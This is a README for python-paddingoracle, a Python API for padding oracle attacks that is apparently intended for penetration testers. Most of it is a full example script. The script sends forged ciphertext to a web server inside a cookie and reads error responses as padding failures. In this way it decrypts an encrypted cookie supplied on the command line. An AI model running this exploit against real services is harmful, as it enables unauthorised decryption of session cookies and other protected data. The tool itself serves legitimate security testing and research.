python-paddingoracle: A portable, padding oracle exploit API

UPDATED FOR PYTHON 3

python-paddingoracle is an API that provides pentesters a customizable alternative to PadBuster and other padding oracle exploit tools that can't easily (without a heavy rewrite) be used in unique, per-app scenarios. Think non-HTTP applications, raw sockets, client applications, unique encodings, etc.

Usage:

To use the paddingoracle API, simply implement the oracle() method from the PaddingOracle API and raise a BadPaddingException when the decrypter reveals a padding oracle. To decrypt data, pass raw encrypted bytes to decrypt() with a block size (typically 8 or 16) and optional iv parameter.

See below for an example (from the example):

from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print('Usage: %s <somecookie value>' % (sys.argv[0], ))
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))

Credits

python-paddingoracle is a Python implementation heavily based on PadBuster, an automated script for performing Padding Oracle attacks, developed by Brian Holyfield of Gotham Digital Science.